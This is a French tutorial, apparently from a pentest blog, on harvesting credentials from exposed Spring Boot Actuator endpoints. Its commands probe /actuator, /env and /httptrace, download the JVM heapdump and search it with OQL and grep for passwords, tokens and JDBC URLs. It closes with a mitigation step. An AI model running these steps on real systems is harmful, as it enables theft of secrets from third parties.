Spring Boot Actuator : extraire des credentials depuis un heapdump

Spring Boot Actuator expose des endpoints de supervision intégrés à l’application. Oubliés sans protection, ces endpoints révèlent la configuration interne, les variables d’environnement et, dans le cas du heapdump, l’intégralité du tas JVM avec toutes les valeurs en mémoire au moment de la requête.

Les endpoints Actuator

L’endpoint racine liste tous les endpoints activés :

curl -s http://cible:8080/actuator | jq .

{
  "_links": {
    "self": { "href": "http://cible:8080/actuator" },
    "health": { "href": "http://cible:8080/actuator/health" },
    "env": { "href": "http://cible:8080/actuator/env" },
    "heapdump": { "href": "http://cible:8080/actuator/heapdump" },
    "configprops": { "href": "http://cible:8080/actuator/configprops" },
    "mappings": { "href": "http://cible:8080/actuator/mappings" },
    "loggers": { "href": "http://cible:8080/actuator/loggers" },
    "httptrace": { "href": "http://cible:8080/actuator/httptrace" }
  }
}

La documentation officielle recense l’ensemble des endpoints disponibles et leur contenu.

Endpoints à cibler en priorité

Endpoint	Contenu
/actuator/heapdump	Dump binaire du tas JVM (HPROF), contient toutes les valeurs en mémoire
/actuator/env	Variables d’environnement et propriétés Spring, mots de passe souvent présents
/actuator/configprops	Toutes les @ConfigurationProperties avec leurs valeurs
/actuator/httptrace	Historique des requêtes HTTP récentes, headers d’autorisation inclus
/actuator/mappings	Cartographie complète de tous les endpoints de l’application
/actuator/loggers	Modification des niveaux de log à chaud (peut activer DEBUG sur des classes sensibles)
/actuator/beans	Graphe de tous les beans Spring instanciés
/actuator/shutdown	Arrêt de l’application (POST, désactivé par défaut)

Chemins alternatifs courants

Selon la configuration, Actuator peut être monté ailleurs que sur /actuator :

/actuator
/manage
/management
/admin
/monitoring

# Tester l'endpoint health comme sonde rapide
curl -s http://cible:8080/actuator/health
curl -s http://cible:8080/manage/health
curl -s http://cible:8080/management/health

Récupérer le heapdump

curl -s http://cible:8080/actuator/heapdump -o heapdump.hprof

Le fichier est au format HPROF, un format binaire standardisé pour les dumps de tas JVM. Sa taille varie de quelques dizaines de Mo en développement à plusieurs Go en production. Prévoir l’espace disque correspondant.

# Vérifier la taille et le type du fichier
ls -lh heapdump.hprof
file heapdump.hprof
# heapdump.hprof: Java HPROF dump, created ...

Analyser le heapdump

Eclipse Memory Analyzer (MAT)

MAT est l’outil de référence pour analyser les dumps HPROF. Il indexe le fichier à l’ouverture, ce qui prend quelques minutes pour les gros fichiers.

# Télécharger MAT sur https://eclipse.dev/mat/
# Lancer MAT et ouvrir le fichier via File → Open Heap Dump

Requêtes OQL

MAT expose une interface OQL (Object Query Language) accessible via File → OQL ou Window → Heap Dump Details → OQL.

Chercher des chaînes contenant des mots-clés sensibles :

SELECT s.toString() FROM java.lang.String s
WHERE (s.toString() LIKE ".*password.*")

SELECT s.toString() FROM java.lang.String s
WHERE (s.toString() LIKE ".*secret.*")

SELECT s.toString() FROM java.lang.String s
WHERE (s.toString() LIKE ".*token.*")

-- URLs de connexion base de données
SELECT s.toString() FROM java.lang.String s
WHERE (s.toString() LIKE ".*jdbc:.*")

Interroger l’environnement Spring directement :

-- Objet StandardEnvironment (contient toutes les propriétés chargées)
SELECT e FROM org.springframework.core.env.StandardEnvironment e

-- Sources de propriétés nommées (fichiers .properties, .yml)
SELECT pps.name.toString() AS Source, pps.source
FROM org.springframework.core.env.PropertiesPropertySource pps

-- Sources de type Map (variables d'environnement OS, propriétés système)
SELECT m FROM org.springframework.core.env.MapPropertySource m

Explorer les objets avec les références sortantes

Pour un objet retourné par une requête OQL, un clic droit dans MAT → List objects → with outgoing references déroule l’arbre de toutes les références que cet objet pointe. Sur un MapPropertySource, cette vue affiche directement les paires clé/valeur de la Map sous-jacente, y compris les mots de passe en clair.

VisualVM

VisualVM offre une interface graphique plus simple pour une inspection rapide.

# VisualVM est inclus dans le JDK (jvisualvm) ou téléchargeable séparément
jvisualvm

Ouvrir le fichier via File → Load puis sélectionner le .hprof. L’onglet Classes liste toutes les classes instanciées et leur nombre d’occurrences. L’onglet OQL Console accepte les mêmes requêtes que MAT.

Recherche de chaînes en ligne de commande

Pour une recherche rapide sans ouvrir MAT :

# Extraire toutes les chaînes lisibles du dump
strings heapdump.hprof | grep -i "password"
strings heapdump.hprof | grep -i "secret"
strings heapdump.hprof | grep -E "jdbc:[a-z]+://"

# Chercher des patterns de tokens (JWT, API keys)
strings heapdump.hprof | grep -E "eyJ[A-Za-z0-9_-]+"
strings heapdump.hprof | grep -E "[A-Za-z0-9]{32,}"

strings manque les chaînes encodées en UTF-16 (courantes en Java). MAT ou VisualVM reste nécessaire pour une analyse complète.

Exploiter /actuator/env directement

Avant de télécharger un heapdump de plusieurs Go, /actuator/env retourne souvent les propriétés Spring en JSON :

curl -s http://cible:8080/actuator/env | jq .

{
  "propertySources": [
    {
      "name": "applicationConfig: [classpath:/application.properties]",
      "properties": {
        "spring.datasource.url": { "value": "jdbc:postgresql://db:5432/myapp" },
        "spring.datasource.username": { "value": "appuser" },
        "spring.datasource.password": { "value": "******" }
      }
    }
  ]
}

Depuis Spring Boot 2.4, les valeurs sensibles sont masquées par ****** dans /actuator/env. Elles restent néanmoins présentes en clair dans le heapdump.

Workflow en pratique

1. Détecter l'exposition Actuator
   curl -s http://cible:8080/actuator | jq .
   → lister les endpoints disponibles

2. Lire /actuator/env en premier
   curl -s http://cible:8080/actuator/env | jq .
   → propriétés parfois en clair sur les versions anciennes

3. Consulter /actuator/httptrace ou /actuator/httpexchanges
   curl -s http://cible:8080/actuator/httptrace | jq .
   → headers Authorization des requêtes récentes (tokens, Basic auth)

4. Télécharger le heapdump
   curl -s http://cible:8080/actuator/heapdump -o heapdump.hprof

5. Analyser avec MAT
   → OQL sur java.lang.String avec LIKE ".*password.*"
   → OQL sur PropertiesPropertySource et MapPropertySource
   → List objects → with outgoing references sur les résultats

6. Recherche rapide en ligne de commande
   strings heapdump.hprof | grep -iE "password|secret|token|jdbc"

À retenir

Un endpoint /actuator/heapdump accessible sans authentification donne accès à l’intégralité de la mémoire JVM au moment de la requête : mots de passe de base de données, tokens d’API, clés de chiffrement, sessions actives. MAT avec les requêtes OQL sur PropertiesPropertySource et MapPropertySource extrait directement la configuration Spring chargée en mémoire. La protection minimale consiste à sécuriser les endpoints Actuator derrière une authentification ou à les désactiver explicitement en production via management.endpoints.web.exposure.exclude=*.

Sources

• Spring Boot Actuator Endpoints — Documentation officielle
• Analyzing Java Heap Dump Vulnerabilities in Spring Boot — nawardrox